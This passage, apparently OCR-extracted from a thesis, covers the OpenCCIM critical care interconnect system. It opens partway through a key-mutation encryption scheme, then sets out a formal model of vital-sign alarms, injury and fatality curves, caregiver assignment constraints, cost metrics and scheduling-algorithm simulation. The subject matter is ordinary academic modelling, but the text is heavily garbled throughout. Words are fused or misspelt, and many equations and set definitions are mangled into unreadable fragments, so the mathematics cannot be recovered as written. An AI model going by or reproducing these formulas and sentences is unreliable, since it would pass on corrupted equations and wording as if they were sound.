lowing the work of Xiaowen Zhang, Zhanyang Zhang and Xinzkidai (ZZW) technique

[54]. Accordingly, we rewrite step (4.14) as follows:

P — wo - {Nw07 Kw0w17w17 {Kwowlqu}lep} (415)

(i
Kol

where

(@ (i—1)
Ko = I K s



and

I1: {0,13" = {0.1}n

is a bijective correspondence. Permutatjgns applied repeatedly to the initial secret key

KBlS[t]:

Thus, subsequent iterates[dfthen generate a sequence of keys.

o 1) (1) _ 1T pli-2)
Kogol) = LT g Koy = LT )

and more generally:

W _ (i-1)
Kooty = 11 Eugopy

Now even with a successful the interception of step (4.1863envy cannot decrypt the

message usinfj(w0 olt] = Kt(u(z))p[t] and retrievel,,,, , because the message is encrypted

with a mutated version of the ke‘jg())p[t]. We will refer to this version of the protocol as

the Y9 schema.
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4.7 Operational Formalization

Central to our Critical Care Interconnect system is itsigbtb support the acquisition
of heterogenous vital signs data and to define their mapgmgsclass of universal data
structures capable of representing all patient vital sigres manner compatible with the

Electronic Medical Records schema.

In this section, we state the formal implications of thisuiegment in order to make clear
what is required in a concrete instantiation of the comptsshown in the functional

diagram of Figure(4.0.1).

A= (D A) (4.16)
Our predefined universal languageconsists of two partsd which defines the communi-

cation protocols (control), and which defines the messages (data) used within our uni-

versal language.

o = (Q,W, 9, Enc, Dec, Ext, A\) (4.17)

The communication protocofs are defined by a finite set of states

Q:{QO7"' 7Qk}

whereq is the initial state. The system assumes a base receiver(aptierver”) p, and
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a finite set of wireless noddsug, wy - - - wy }. Thus every member of

W = {p} U{wp, w1 ---wn}

can communicate with the receiver or using wireless noderel@gs node communication.
A communication partial function that defines the commutndcabetween the nodes and
cryptographic function&nc, Dec on A for encrypting and decrypting the messagat =
{exty,exts - - -} represents a set of extension functions that can be utitzedtend the

protocol.

F is the foreign language in which vital sign data is expressed the union of various
heterogeneous vendor-determined proprietary repreagamawhileA is the universal lan-

guage that is produced by the UPTA.

FACE

whereE = {0, 1}, andx represents kleene closure. A UPTA thus translates ffoand

generates universal messages franvia

t: = A

Each device in the system runs as a Finite State Mact@héV, 6, Enc, Dec, Ext, A),
where

0: QxWxA—-QxWxA (4.18)

and where

6(q, w;, ) = (g, wj,y)
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implies that devicev; in the state; will upon receivingz, change to a new statewhile

simultaneously initiating a communication with devicg by sending it message

We now turn to the structure @, the closure of the set of primitive syntactically correct
messages

M=YuUr, (4.19)

under infinitely many applications of a set of cryptograghiuctionsEnc, Dec, Ext. That
is,

A=MU fi(M)U fofy(M)U---

where

f1, f2,-- € {Enc, Dec, Ext}

This set/, is the set of messages operated on within the Open@Cthe set of primitive
semantically correct strings, and can itself be partittbimeo two classe& andr. HereX
are the status data set andhe real time data stream. Status data messages are always in

one of the following formats:

i. Sender, Vital-Sign, Patient-Status, Injury

ii. Sender, Device-Status

Thus we see that, the status data set, includes two types of status mesgzajesnt status
and device status. The number of tokens in the string digisigs between the two types,
starting with an identifieto; which indicates the source of the string. In patient status
messages the next token identifies the vital sign, whichlisvied by the status and the
coefficient. In device status messages, the token follotiegsource represents the status

of the device, wheréag, a; - - - } is a set of device alarm codes. On the other hand, in the
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patient status messages, the coefficient is used by alaomtiation algorithms, based on

the coefficient weights.

In contrast,

T = (w;, (Schema) , f(t)) (4.20)

represents the acquisition of a real time functjp(t) from a wireless sensor node;
(wherew; € W). The real time functiory (¢) can be interpreted as a patient vital sign

through a given schema, and is always in the following format
iii. Sender, Schema, Vital-Sign-Stream-Block

Below we see three different kinds of concrete instantietiof messages in:

( )
(w;,Respiration{ Patient ., Patient g4j4mm } » €0)

(w;,Cardio{ Patient g, Patient gjgrm } » C1)

w={ , (4.21)
ag

<wi, Devicergie, § aq ¢ >>
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CHAPTER 5

MATHEMATICAL MODEL

This chapter present the mathematical model necessatyd@valuation and analysis of
the OpenCCIM system. Relying on trial deployments of the technology astie source
of evaluation is neither sufficient not practical. It is iffizient because a trial deployment
of the system is just one instance of the problem, and doesoret most possible scenarios
and cases that can present different load and input on thiensysn addition, obtaining
approval from healthcare facilities to deploy Open®¢is a nontrivial task, given the real
risks involved and general apprehensiveness to new sofuti bridge solution is needed
to evaluate OpenCEM, which can then be used as leverage in obtaining permission t

conduct real field deployments and live testing.

It becomes clear then that what is needed, is a mathematom@lmepresenting the system
and the environment in which it is to operate. Having such dehwill make it feasible
to test the OpenCCGMtechnology, using simulations based on the mathematicalemo
In the following sections, we will define the model and préserthods of evaluating its
performance in different operating regimes. We will alserttbe able to define quanti-
tative system performance benchmarks that will captuteasdns beyond what might be

considered in initial trial deployment.
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5.1 Vital Sign

A vital sign is a function whose domain is non-negative time, and whosgeds a real

finite dimensional vector space:

v:RZ0 - RIV),

The numberi(v) is calleddimensionof vital signv. In what follows, if we assume there
are several vital signs all with a uniform dimension, we kFfal simplicity denote this
common dimension aé Typically, such functions arise whenever one makes caootis
measurements of the state of system over time. Here we wdbheerned with measure-

ments of living systems, and so shall refer to such a funstasvital signs

A wide variety of vital signs representation arise in preetibecause of (i) biological di-

versity, and (ii) vendor diversity.

For example, the following list shows a small subset of anleswlist of devices avail-
able in a critical care room, where most of those devices tsagwn protocol and data

representation which is incompatible with the rest of thaakss:

Maquet Servo i

Maguet Servo 300

Maquet SV900 c

Drager Evita

Drager Carina
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e Drager Savina

e Puritan Benett 7200

e Bird 8400

e Abbott Plum A+

e Abbott Plum 5000

e Cardinal Signature 7230

e Baxter Travenol 6300

e Sigma 8000

e Datex Ohmeda RGM 5250
e GE Marquette Apex Pro CCH
e Nellcor OxiMax N-600

e Welch Allyn Portable Pulse

e eftc...

Since a vital sign is a real-time measurement of a patientjeseribe patients next.

5.2 Patients

A patient is a collection of vital signs. In general, a patientvill be assumed to have

associated with it, a collection &fp) vital signs:

Vip) = {5, .. .vz(p)}.
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In settings where several patiepts po, . . ., p;, are being considered and each of the pa-

tients exhibits the same number of vital signs

this uniform number of vital signs will be denoted as simply

The range spadﬁd(“) of each vital sign is typically partitioned into regionssed on the
particular semantics of. These disjoint regions are further labeling with qualatabels,
such as: normal, fatal, etc. We can view the ralﬁd@) of vital signv, as the state space of
a dynamical system, and the vital sigms a trajectory (over time) within this state space
(see Figure (5.2.1) The set of all points labeled fatal is a limit set within tthgnamical
system. Associated with this limit set is a basin of attiagtiand it is when the vital sign
enters this basin of attraction that an alarm ought to odéerconsider alarms in the next

section.

Figure 5.2.1Vital signv as a trajectory (over time) moving forward from Normal to e

to Fatal.

Normal

Alarm
start by entering
The Basin of Attraction
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5.3 Alarms

An alarm is a triple(p, i, t) consisting of a patient, a vital signi € {1,...,k(p)}, and a
timet > 0. An alarm(p,i,t) is an assertion that the state of vital sigim patientp has
attained a value, that, if left unattended, is expected tisedhe patient increasing injury
and ultimately fatality. Frequently, we will express tharah a as an incident concerning

the state of vital sign, of patientp, at time timet,, that is:

a = (pa7 iau ta)

Examples of patient alarms:

High body temperature.

Fluctuation of pulse rate (or heart rate).

Change in blood pressure.

Upnormal respiratory rate .

Going back to the dynamical system metaphor, an alarm is aanbwhen a vital sign is
believed to have entered a basin of attraction for a fatal ket. It is thus as a discrete
medical event which warrants attention, where the gravitthe situation is expected to
increase as long as the situation remains unattended, kfilihattended for long enough,

lead to fatality.

Defining the limit sets corresponding to fatal states, artdrd@ning the basin of attraction
is outside the scope of this project. This is in fact alreadgedby the manufacturers of

health monitoring devices.
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For instance, all the maquiet ventilators and the Siemeg@&rrespiratory devices, has
an internal set of configurations defining the rate, rangdgfaesholds that define normal
respiration for the patient. The device send alarms thratsgpommunication port once

the respiration enter the injury basin of attraction.

In this work, we black box the logic of alarm events generatimm vital signs, and
model the sequence of alarms events as a Poisson process. pkéaisely, letp, i, ¢1)

and(p, i, t9) be two successive alarms, that is

t1 < t9

and there is no alarrp, i, ') for patientp’s vital signi, where

t1 <t <ty

Then we assume that the alarm inter-arrival titpe- ¢1 is a random variable that is dis-
tributed according to a Poisson distribution of intensify:. In settings where several pa-
tientspy, po, . . ., pm are being considered and each of the patients exhibits the aklarm

inter-arrival times for vital sign,

A C= A\

plvl = )\p271 = pmai’

we will denote the common intensity a&/), and consider this number to be a characteristic

property of the vital sign itself rather than the patients’.

The set of all alarms raised for vital sigf patientp in the interval timgty, ¢9] is denoted
A(p,i,t1,t9). The alarma = (pq,iq,t,) arrives at timet; < t, < to if and only if

a € A(p,i,t1,t2). We takeA(p, i,t1,to) = ) whents < #7.
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A Poisson process is a stochastic process in which eventis ogotinuously and indepen-
dently of one another. Examples that are well-modeled assBoiprocesses include the
radioactive decay of atoms, telephone calls arriving atiechlyoard, page view requests to
a website, and rainfall [41]. By using a Poisson process, btaio the following desirable

properties:

The number of alarms in disjoint intervals are independemhfeach other.

The probability distribution of the number of alarms in aimye interval only depends

on the length of the interval.

No alarms are simultaneou®( each vital-sign per patiet

The probability distribution of the waiting time until theext alarm is an exponen-
tial distribution. The exponential distribution occurgurally when describing the

lengths of the inter-arrival times in a homogeneous Poipsocess.

5.4 Injury

When an alarna = (pq, iq, t,) OCCUrs at time,, this implies that the state of vital sign
in patientp,, has attained a value which if left unattended, is expecteduse the patient
increasing injury and ultimately fatality. Two aspects eemto be specified: (i) the rate at
which this injury is accumulated, and (ii) the time at whible accumulated injury results
in irreversible fatality. These questions are answereddmgiclering an exponential model
of injury cost. The total cumulativimjury experienced by patient, up-to timet due to

alarma is given by:
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0 t<tq
d
I(pa, 1) R ) to <t <1n(100) /g
100 t > In(100)/aq

Here the parameter, represents the rate at which injury is accumulated aftealdwena
is raised. Once an injury df00 is accumulated, a fatality occurs because of an unattended

alarm. Note that the numbe0o0 is an arbitrary cutoff threshold.

The Figure 5.4.1 shows three alarm functions with differejury accumulation rate. The
figure shows the saturation level as well, represented loyingvel 100, the induced time

to death in those curves are 2, 3 and 4 minutes respectively.

Figure 5.4.1Injury function reaching fatality at different saturatibmes.
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The exponential injury model has been used in various paititios [15], even though there

is a debate on the best model to simulate human injuries. Stimee publications follow
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different models, but they all agree that the injury mode&ison-linear function. We
abstracted the injury function from the system, to allowlding our results on any injury
model. For now we will use the exponential injury model or éx@onential cost function
[7], and emphasize that the debate on which model is bedteytside of the scope of our
work. In general, we have common ground with problems ungercategory of routing

with polynomial communication-space and online trackihgobile users [8].

The injury curvel (pg, t) reached00 oncet > In(100)/ay. Thus, each alarm has a notion

of time until death, which we denote

Dq = In(100) /.

Equivalently, this implies

aq = 1n(100)/Dy.

We will consider this latter formulation, in that each alatnwvill specify its time until
deathD,, from whicha, is implicit. In settings where we assume that all alarms Whic
occur for a vital sign share the same time until death (regardless of specific atestance
or patient instance) we will denote the common valué&s), and consider this quantity

to be a characteristic property of the vital sign itself eatthan the alarm instance.

5.5 Caregivers

A caregiveris an individual who has the ability to resolve the condisamderlying patient
vital sign alarms. Associated with every patignand caregiver there is a caregiver
assignment function

h(p,c,t) — {0, 1},
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whereh(p,c,t) = 1 if and only if a caregiver is attending to patient at timet. The
precise definition of. will be the subject of a later chapter devoted to caregagsignment
algorithms. The remainder of this chapter is devoted to formally déseg the constraints

on h, or put another way, defining the class of functions from \Wwlienay be drawn.

We assume that given a set of patieftsa caregiver: cannot be assigned to two distinct

patients at the same tinie

CONDITION I:

p1 # p2 = h(p1,c,t) + hipa, ¢, t) <1

We assume that is drawn from a class of piecewise linear functions, and tiatset of

times when patient is being attended to by caregiver
d
T(p.c) < {tlh(p.c.t) = 1)

is uniquely expressible as a disjoint union of maximal hakw intervals.

CONDITION II:
def

T(p,c) = [tf,40)UtS, t5) U [t5_ 1.t DU DU ..

where

a d a d a d a d
tl<t1<t2<t2...tj_1<t-_1<t-Stj...
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We isolate the set of arrival times as a sequence:

d .
T(p,c) < (@4 j=1....),

and the set of departure times as a sequence:

d .
Thp,0) Y @l j=1,..).

The jth arrival time of caregiver at patient is denoted™(p, c) ;. Thejth departure time

of caregiver at patient is denotedfd(p, c);. Clearly,
Td(pv C)j > Ta(pv C)jv (51)

but we shall see in Section 5.6 equation 5.2 that the two diesare more strictly related.

Given a set of caregivers, we assume that at most one caregiver is assigned to a patient

at any point in time. That is

CONDITION III:

Ver, e € Coep # g = T(p,c1) NT(p,c2) = 0.

It follows from the previous assumption that (from the vaetgoint of a patient)p wit-
nesses an interleaved sequence of caregiver arrivals gaddees. The following function

is thus well defined
d c teT(p,c)
f(p,t) &

null otherwise

and associates with each patigrand timet, either a unique caregiverc C, or a special

sentinel valuewull indicating that no caregiver was assigned to the patietizatime.
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For each time; € R>Y, we define
def
S(p.to) = {t|t<to}n | T(p.c)
ceC

to be the set of all times prior g at which patienp was being served by a caregiver. We

then put

b(p, t0) “ sup({0} U S(p, o).

Note thath(p, t() enjoys the following properties:

o Iftg e U, fLp,c)andty & U.T%p, c), thenb(p, ty) = to.

o Iftg & U.f p,c)orty € U.T%p,c), thenb(p,ty) is the latest time strictly
beforet; when a caregiver departed from patierfor 0 if no caregiver was assigned

to patientp before timet.).

Figure 5.5.1 The latest time strictly beforé, when a caregiver departed from patient,

otherwiset if attended by a caregiver.
Caregiver
service period

L N\ L AY
L U L U

b(p, ty) = tg < >Case 1
L \ \
L U ]

\ \ Case 2
L J
b(p.ty) o

We assume that the number of patients exceeds the numbeeghaas. We assume that a



82

caregiver who is assigned to a patient must resolve all atamditions (for all vital signs)

before they are permitted to leave. We formalize this regmént in the next section.

5.6 Treatment

At time ¢, each patienp has an associated (possibly empty) setirmiesolved alarmgper
vital sign); we denote this set a(p, i, ¢; f). In view of our aforementioned assumptions,

we can take as:

X(p,i,t; f) = Alp,1,b(p, 1), ).

We emphasize that the definition &f is dependent on the caregiver assignment function
f by listing it explicitly as a parameter above. We will conteto use this notation in
what follows to remind the reader when certain definitioresdgpendent on the choice of

caregiver scheduling functiofi

Figure 5.6.1X (p, i, t; f).
Caregiver
service period

L \ L \
L Y ]
X(p,it) = @ < >Case 1
L \ A
L V4 7

Case 2

J

]

X(p,i,t) = All alarms happened within
the highlighted period

If some caregiver is assigned to patieptat a timet, and the assignment was made strictly
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prior tot, then by definition)(p, t) = t, ans so we know thaXt (p, i, t) = 0.

On the other hand, if no caregiver is assigned & timet, or a caregiver was assigned to
p precisely at time, then X (p, i,t) may be nonempty. In the latter of these two cases, we
would like to describe the implications of having a nonempty, i, ¢; /) on the actions of

the caregiver who has just been assignegd to

Suppose an alarm

a = (pa, ia,ta) c X<p7 7;7ta; f)

occurs for vital sign of patientp at a timet, when no caregiver has been assignegdto
i.e.

f(p,ta) = null.

Then (as noted in Section 5.4) the total total cumulativeringxperienced by patiept,

up-to atimet > t, (due specifically to alarm) is given by:

0 t <t
100 t> D,

Now suppose that is the first caregiver ever assigned to patigrdat a timety > t,.

Because of the assignment, caregiverill be able to address the condition of alarm
denotedR(t(, a). The time required for the caregiver to completely resohesunderlying
condition of the alarnu is assumed to be linear in the patient’s injury level (preddhe

injury level is non-fatal):
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R =al where, a=1

0,a) =
Tl%%xeln(loo)-(t—ta)/Da ta <ty < Dg

In the above expressio;, .« is the maximum time required to resolve an alarm (as patient
injury approacheg00). The time to treat an injury is linearly proportional to timgury
level, which implies it grows exponentially with time due ttoe characteristic relation

between time and injury.

If we assume linearly additive treatment time is needed fwaragiver to address multiple
alarms then the total time required for the caregives handle all the alarms at patient

present at timeéy when the caregiver-patient assignment is mad¢ by

k(p)

R(to,p; /) = Y. Rlto,a)

i=1 \aeX(pito;f)

If we assume no caregiver preemption is possible, then dmeesystem has made the
assignment of caregiverto patientp at timet, the caregiver must remain with the patient
for durationR(¢¢, p), regardless of the occurrence of other new (potentiallyenserious)

alarms at other patients during that time interval. We atgrsthat the presence of the
caregiver at the patient, implies no deterioration in htahgign, and the caregiver handle
the injury induced by the vital sign alarm. Since we assuraedltaregiver who is assigned

to a patient must completely resolve all alarm conditioons &l vital signs) before they are
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permitted to leave, then

T%p,c); > Tp,c)j + R(T(p,c) ;. p; f), (5.2)

where the above equation implicitly depends on the choicg afhe above equation is a
much stronger constraint on arrival and arrival times—care@ with the earlier equation

5.1. This brings us to

CONDITION 1V:
Foralltin [T%(p,c);, T%(p,c); + R(T%(p, c);), the value of

g(C, t) =D

5.7 The Medical Facility

The model described above permits the occurrence of fatalithen a patient experiences
an alarma and yet remains without the attention of a caregiver for sopesf time exceed-
ing D,. In such a situation, the patient’s induced injury reachi#sand saturates at that
level-this is interpreted as fatality. When a fatality as;uve assume in our model that the
expired patienp, is removed from the bed immediately, and replaced with arditing
patient. A bed is thus viewed as place which always housesraylpatient. Close-out
procedures for fatalities take precedence, and must begsed by a caregiver before any
living patients can be handled. In light of the above, whathage been referring to so
far aspatientp is better viewed as the current patienti@dnumberp. There isalwaysa
living patient in bedp, but there is onlysometimesa caregiver attending, and so each bed is
a potential source of fatalities. In this section, we willrfally describe the impact of such

fatalities on the scheduling of caregivers.

In light of the above real-world narratives, we introduceesvrelement into our model of
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the medical facility, namely th€ode-Blug which we denote a§'B. The fact that close-

out procedures for fatalities take precedence is refleatdtkifollowing schematic diagram

of caregiver scheduling.

Figure 5.7.1Prioritization assigning caregivers to Code-Blue befagnts.

& & &

o} r—
Bed i+1 Bed i Bed i-1
Code Blue

[Nurse Station]| Code Blue

Patients not yet
admitted to CCU

Medical emergency define imminent death as Code-Blue, soregtCode 99. Because

this is the most frequent code, a patient undergoing camtiaest is often referred to as

“Coding”.

The patient-centric caregiver assignment functfooan now be rewritten as an implicit

caregiver-centric assignment function

g:CxR?" 5 PUCB

where

t)=c
s(e.t) def ) P f(p,t)
CB otherwise
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which associates each caregiveand timet, with either a patienp € P, or a special
sentinel value”' B indicating that caregiver is assigned to Code-Blue. No#¢ with the
introduction of CB, f can be constructed from, but not vice versa, and so we shall
hereafter consider the specification pto be the act of choosing a particular caregiver

scheduling algorithm.

Suppose a caregiveris assigned to patieptat time7(p, c); (for somej) and completes
the task at the mandated tirﬁ@(p, c)j =T p,c)j+R(T%p,c);,p; f). What can we say

aboutg(c, T%(p, c)j)? Answering this precisely requires some formal definitions

It will help us to express an auxiliary caregiver-centrindtion,
s:CxN— R

where s(c, j) represents the starting time of caregivér jth assignment. This can be

defined inductively as

0
def | s(e,d) + R(s(e, ), (e, 5(c,0)); f)) g(e,s(e,j)) # CB
s(¢,7) + Tfatal g(c,s(c,j)) = CB

This brings us to

CONDITION V:

If for some;j > 0 we havey(c, s(c,j)) = CB then for allt

in[s(c, j),s(c,J) + Tratar), the value off (c,t) = CB.

The set of times prior to timg when caregiver was assigned to the Code-Blue is given
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CB(e.t; ) ™ {s(e.j) | j =1, 19, s(e.§)) = OB; s(c.j) < t}.

The set of times prior to timg whenanycaregiver was assigned to the Code-Blue is given

by

cB(t: )Y | B (o).
ceC

5.7.1 Fatalities

As we noted earlier, each bed is a potential source of feglitWe define
K:PxN-— R

where K (p, j) as the time of thath fatality in bedp. K is defined inductively. As a base

case, we take a sentinel definition;

K(p.0) o

To expressK (p,j + 1), we first note thatA(p, , K(p, j),t) is the set of alarms which
occurred for vital sign between thegth fatality (in bedp) andt. Of these, we can describe

the subset which induced a fatality.
A¥(p.i, K(p,j),t) = {a € Alp,i, K(p,j),t) |t —ta > Da}.

Inductively then,

k(p)
. de . * ) .
K(p,j+1) " min{ty + Da | a € | J A*(p,i, K(p, ), 1)}
1=1
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Whenever a fatality occurs in bedthe patient is admitted to the Code-Blue, and the bed
is populated with a fresh patient. We define a monotonic arteglued functiorC B (t)
whose value is the size of the populat@dmittedto the hospital Code-Blue. This can be

expressed as

d .
CB (Y ST H(- K(p.j)),
peP,j=1...

where H is the Heaviside step function. We can now formally statetviheneans that
close-out procedures for fatalities take precedence, amst be processed by a caregiver

before any living patients can be handled. This brings us to

CONDITION VI:

a. If a caregiver is assigned to patient at time7(p, c); (for some
), they complete the assignment at tifié(p, c)j = T%p,c); +
R(T%p,c)j,p; ). If

CBY(T%p,c)j;9) > CB™(T%p.c)ji 9)
then it isrequiredthat

gl(c, Td(p, c)j) =CB.
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CONDITION VI:

b. If a caregiverc is assigned to the Code-BIugRB at time t;, they

complete the assignment at timie+ Tz I
CB™(to + Ttatar; 9) > CB™ (to + Tratal; 9)
then it isrequiredthat

gle,to + Tratar) = CB.

5.8 Assumptions

The list below consolidates the assumptions suggestee ipréteding sections.

1. All patients exhibit the same number of vital signs and tmiform number of vital

signs is denoted.

2. Each of the patients exhibit the same alarm inter-artivaés for vital signi, and
denote the common intensity a&i); this number to be a characteristic property of
the vital sign itself rather than the patients’. As a consege, all alarms which
occur for a vital sign share the same time until death (regardless of specific alarm

instance or patient instance).

3. The number of patients exceeds the number of caregivers.
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4. A caregiver cannot be assigned to two distinct patientseasame time (Condition

).

5. Caregiver assignmentis a piecewise linear function hedet of times when a care-
giver is assigned to a particular patient or the Code-Blumiguely expressible as a

disjoint union of maximal half open intervals (Conditioi. 1l
6. At most one caregiver is assigned to a patient at any potirnie (Condition 111).

7. A caregiver who is assigned to a patient must resolve athalconditions (for all
vital signs) before they are permitted to leave. The timeiregl for the caregiver to
completely resolve the underlying condition of the alarm assumed to be linear in
the patient’s injury level. Linearly additive treatmenn# is needed for a caregiver
to address multiple alarms. No caregiver preemption isiplesnce assigned they

must stay until all alarms at that patient have been resdq@eddition V).
8. Close out procedures on a fatality takes a fixed fifpg,,; (Condition V).

9. When a fatality occurs, the expired patient is removenhftioe bed immediately and

replaced with another living patient (Condition V1).

5.9 Parameters

The list below consolidates the free parameters that app&ae model we have described
so far and our assumptions of the previous section. Thesengders are required in order
to generate the inputs scenarios, that can be used to evalgpecific caregiver assignment

algorithm.

1. The set of patient®.
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2. The number of vital signs in each patiefat,
3. The intensity of each vital sigh(i) wherei =1, ... k.

4. The time of the simulatiof;,,, .

Using the above four parameters, we can generaténdependent Poisson sequences of
events for each of the patients i, corresponding to vital sign alarms. Denote such a

randomly generated set of alarms recalling that each alarma € A is itself a triple

(pCh 7;(17 ta)

Before a caregiver assignment functionsan be devised and evaluated Anwe must

specify the following parameters:

5. The set of caregivels.

6. The time to death for each vital sign(i) wherei = 1,... k.
7. The maximum time to process an injuky, ..

8. The time to process a fatality ;-

9. The cost to process a injury fatality ;.-

The reason for this is that the above parameters determeraabs of functions from which
g can be selected, as described at length in previous sectiimse the above parameters
5-9 have been specified, caregiver assignmeran be devised, and its validity verified in

terms of the conditions I-VI described in earlier sections.

Now given two valid caregiver assignment functiansgs we might seek to try and com-
pare them. Several natural metrics can be used for this hase @are the subject of the next

section.
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5.10 Cost Analysis

We have completed our formal description of the constraattsh implicitly defines the
class of functions from which caregiver assignmenisay be drawn. We now turn to the

problem of evaluating the operation of a given caregiveigassent algorithm.

Suppose theth assignment of caregiveris to a patienty = g(c, s(c,j)). The cost
C(c, j; f) incurred by the caregivers visit can be atomized per vitgh silarm present
at p, and represented as a multi-set of real valued costskems denoted7 (c, j). The

multi-set7 (¢, 7) consists of

e A multi-set of real numbers

k(p)

U U RGs(ei).a) .

i=1 \aeX(p;i,s(c.j):f)
whereU is interpreted as a multi-set operation. In addition,

e A multi-set of‘Ufipl) A(p,i,T%p, c);, s(c, j))‘ many tokens each of value These
unit tokens correspond to the costs of handling alarms wbhimturredwhile the

caregiver was present at the patient.

Now suppose instead thgth assignment of caregiverwas not to a patient but rather to
the Code-BlueC'B = g(c, s(c, j)). Then, the cost(c, j; f) incurred by the caregiver is
taken as’'s,4,, @ specified parameter. This cost is tokenized as a singsetoconsisting

of just one token

N d
T(c,5) if: {Cfatal}'

Over the lifetime of the simulation, and the operation of¢heegiver assignment algorithm
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(as specified by), a caregiver: collects a multi-set of tokens

while over the set of all caregivers, the set of tokens collected by the operationya

given by

In general, we will be evaluating algorithms by a statidtanealysis of the multi-set of cost

tokens7 . Two obvious measures are:

e Total umber of fatalities, i.e. the number of tokenginwhose value is 100.

e Total injury, i.e. the sum of all the tokens h.

In Chapter 6 (on Evaluation Methodology) we will consideretmore sophisticated ways

to evaluate the séf to differentiate between competing caregiver assignmigotighms.
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CHAPTER 6

EVALUATION METHODOLOGY

Here we extend the notions developed in Chapter 5 (on the évtadtical Model), and
develop more sophisticated ways to evaluate the/Seh order to differentiate between
competing caregiver assignment algorithms. The initial@ation of a candidate algorithm
is simply confirming its qualification, that is to say, thefiilthent of every assumption
stated in Section 5.8 throughout the simulation life time ere execution of the algorithm.
Beyond this notion ofralidity, we have the question gerformancewhich we will now

make precise.

6.1 Performance Metrics

For a candidate algorithm executing its assignment functignwhich assigns the care-
giversC' to serve and handle patient alarms, the termination of #s@ion produces the
multi-set of cost token@‘AO. This output of the algorithm execution is the (multi)-umiaf

each caregiver’s collected multi-set of tokens.
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6.1.1 Cost Metric

The cost metric represent the overall cost of the accunullisjeries and fatalities ob-
served through the caregivers performance based on tlgmassnt algorithm and function
g enforced through the algorithm execution. Formally, thet #alue for the algorithmal,

is the summation of each cost token value in the multﬂ‘gf%t

Costy,= » = ,wherexisacosttoken in the multi set.
zeTa,

Figure 6.1.1Cost metric graph for bedcount 10 to 20.
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In Figure 6.1.1 the results represent the cost metric of tigorahms Ay and A;. The
overall cost for handling a range of beds from 10 to 20, shdwas the cost of algorithm
Aq is less in all cases. Which implies that, by considering dh&/cost metric we will be

in favor of 4.
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Note, that the cost metric hide the details of how many féagaliare induced by each algo-
rithm, which may change the selection of the best algoriihme consider the fatalities in

our criteria.

An alternative method to present the cost metric is a contiparanalytical result computed
as CostAO/CostAl, a value greater than one indicates that algorithmis performing

better than4d as shown in Figure 6.1.2.

Figure 6.1.2Comparative Cost Value A0 to Al.
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6.1.2 Injury Level Histogram Metric

As described in our model earlier, an attended patient wititeh sign alarm, suffers from
an incremental injury proportionally with the time for whithe patient is left unattended.
This injury function/(p,, t) ultimately reaches an irreversible saturation level, Whgca

Code-Blue or fatality.
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0 t <t
I(pa7t) — eln(lOO)'(t—ta)/Da ta < t < Da

100 t> D

The Figure 6.1.3 shows three injury functiohg /; and I, associated with three vital

signs wherey, is 2.3, 1.55 and 1.15 and induced time to de@this 2, 3 and 4 minutes

respectively.

Figure 6.1.3Injury function reaching fatality at different saturatiomes.
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As represented in Figure 6.1.4 we define a set of bands whithepresent how the Injury

Histogram will be constructed.

Minimum Injury Defined by the band starting at tirféill D, /4, and0 ending ag!(100)/4

injury equivalent value.

Medium Injury Defined by the band starting at tind#, /4 till D, /2, ande™(100)/4 engd-
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In(100)/2

ing ate injury equivalent value.

Critical Injury Defined by the band starting at tind&, /2 till 3D, /4, ande™(100)/2 end-

ing ate311(100)/4 injury equivalent value.

Major Permanent Injury Defined by the band starting at tird®, /4 till D, ande312(100)/4

ending atl 00 injury equivalent value.

Fatal Defined by the time greater than or equallg.

Figure 6.1.4ldentifying injury level bands.
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For example, an algorithm; was able to executd) caregiver assignments, such that the
first 4 assignments made the caregiver arrive at time),,, 0.11D,, D,/12 and D, /5
respectively. The first injuries are considered minor injuries, what follows isigssg
the caregiver a1.34D,,0.28 D, 0.45D,, 0.65D,, 0.87 D, and the last assignment was after
the patient reached a fatal injury and ultimately expirede Tast6 assignments represent
3 medium level injuries, one critical and one major injury amdatality. The produced

histogram for algorithmi is presented in Figure 6.1.5.
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Figure 6.1.5Generated Histogram for the algorithm AO.

|
3
2
1
0
Med

Min
6.2 System Parameters

Histogram

Count

Cri Maj Fat
Injury Level Bands

The essential parameters in the system are the set of gatiemhich is equivalent to the
bed count, and the set of caregivéts Combined they represent the nurse to patient ratio
inside the critical care unit. This ratio is an essentiabpagter, based on which a lot of

performance evaluation and work-flow analysis are conductéhe healthcare industry.

Additionally, the following set of parameters are impottahe number of vital signs being
monitored at each patient, and the time to death for each vital sighi), where: =
1,..., k. This, together with the Poisson distribution intensity) for alarms, represent

the load applied on the caregivers and the algorithm insglmalated critical care unit.
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CHAPTER 7

SCHEDULING ALGORITHMS

This chapter describes each of the scheduling algorithmsidered as a candidate so-
lution to the research problem. It includes, in additiongadtiption of the existing modus

operandi in place in most hospital facilities, as obserwethe author.

The simulation framework as a whole, receives initial camfgion input as shown in Fig-

ure 7.0.1. Specifically, the simulation framework configiara parameters are:

1. The set of patient®.
2. The number of vital signs in each patiefat,
3. The intensity of each vital sigh(:) wherei =1, ... k.

4. The time of the simulatioff;,,,.

The simulator is designed so that the engagement of eactdaigealgorithm in our sim-
ulation framework is seamless. This is achieved by abstigthe notion of a scheduling
algorithm into an encapsulated unit, where each of modwdeesithe same interfaces, and

is ecpeted to provide the same functions.

The first set of inputs to each assignment algorithm is a sgtiatit configuration parame-

ters:
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Figure 7.0.1Initial configuration and static input.
{P, Lambda(i), T(sim), k}

Simulation
Framework Configuration
Repository

{P, C, D(i), T(max), T(fatal), C(fatal),k}

A 4 A A 4 Y
Cyclic Scan Immediate Greedy Future Aware Socially Aware
Algorithm Dispatch Algorithm Algorithm Algorithm
Algorithm

1. The set of patients.

2. The set of caregivels.

3. The time to death for each vital sign(i) wherei = 1, ... k.
4. The maximum time to process an injuky,.

5. The time to process a fatali#y ;-

6. The cost to process a fatality ;-

The second set of inputs is dynamic, generated by the siionlamework, and invoked

on all registered algorithm units as shown in Figure 7.0.2.

This dynamic input is the set of all alarms raised for all v#gns, and for all patients

pEP denotedA, throughout the full simulation time (i.e. from tintetill T;,,,).

k
A=J UAw,i,0, Tyin)

pePi=1
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Figure 7.0.2Dynamic input invocation to all algorithms, and analysegach algorithm
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The performance of the set of care giver in each algorithry will depend on each al-

gorithm assignment function handling the input alarms. éawxh different algorithm the

caregiver will collect a multi set of injury tokens, and thgaithm will produce the output

of all tokens collected by all caregiveys

The statistical data analyzer, then analyzes all algorttfken multisets, and generates the

requested evaluation and comparative metrics (see indbe6tl), in addition to perfor-

mance graphs.

The nature of our problem is a real time problem which has smmanon ground with on-
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line algorithms, and thé-server problem in particular. Theserver problem generalizes
paging and caching problems, and can be viewed as an ondimel® routing problem
[5, 33]. In contrast with thé:-server problem, we do not require immediate handling of
on-line requests, requests cannot be handled instantslgeand the distance between the

